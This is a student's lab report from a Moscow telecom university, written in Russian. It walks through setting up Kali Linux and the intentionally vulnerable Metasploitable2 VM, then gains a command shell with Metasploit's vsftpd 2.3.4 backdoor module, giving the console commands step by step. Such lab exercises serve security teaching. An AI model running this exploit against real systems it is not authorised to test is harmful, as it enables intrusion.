Ордена трудового красного знамени федеральное бюджетное общеобразовательное учреждение высшего образования “Московский технический университет связи и информатики”

Факультет кибернетики и информационной безопасности

Отчёт по практической работе №11

Выполнил студент группы ЗРС2202

Ершов Михаил Максимович

Преподаватель

Кудряшов Всеволод Владимирович

Москва 2022

1. Скачиваем Kali Linux. Для начала устанавливаем metasploitable2 на виртуальную машину. Нужно указать 256Мб, а также указать, что используем существующий виртуальный диск.
2. Далее устанавливаем в параметрах сеть виртуальный адаптер исключительно для хоста. То же самое повторяем с Kali Linux.
3. Когда всё готово запускаем виртуальные машины. В машине Kali запускаем metasploit.

$ service postgresql start

$ service metasploit start

$ msfconsole

4) В виртуальной машине metasploitable2 смотрим ip-адрес.

$ ifconfig

5) Далее начинаем поиск уязвимость vsftpd.

$ search vsftpd

6) Теперь нам нужно выбрать эксплойт

$ use exploit/unix/ftp/vsftpd\_234\_backdoor

7) проверяем настройки

$ show options

8) используем ip адрес для атаки на первую жертву.

$ set RHOST 132.154.57.111

9) приступаем к запуску атаки

Run

10) В результате атаки мы получаем доступ к командной строке *Metasploitable* .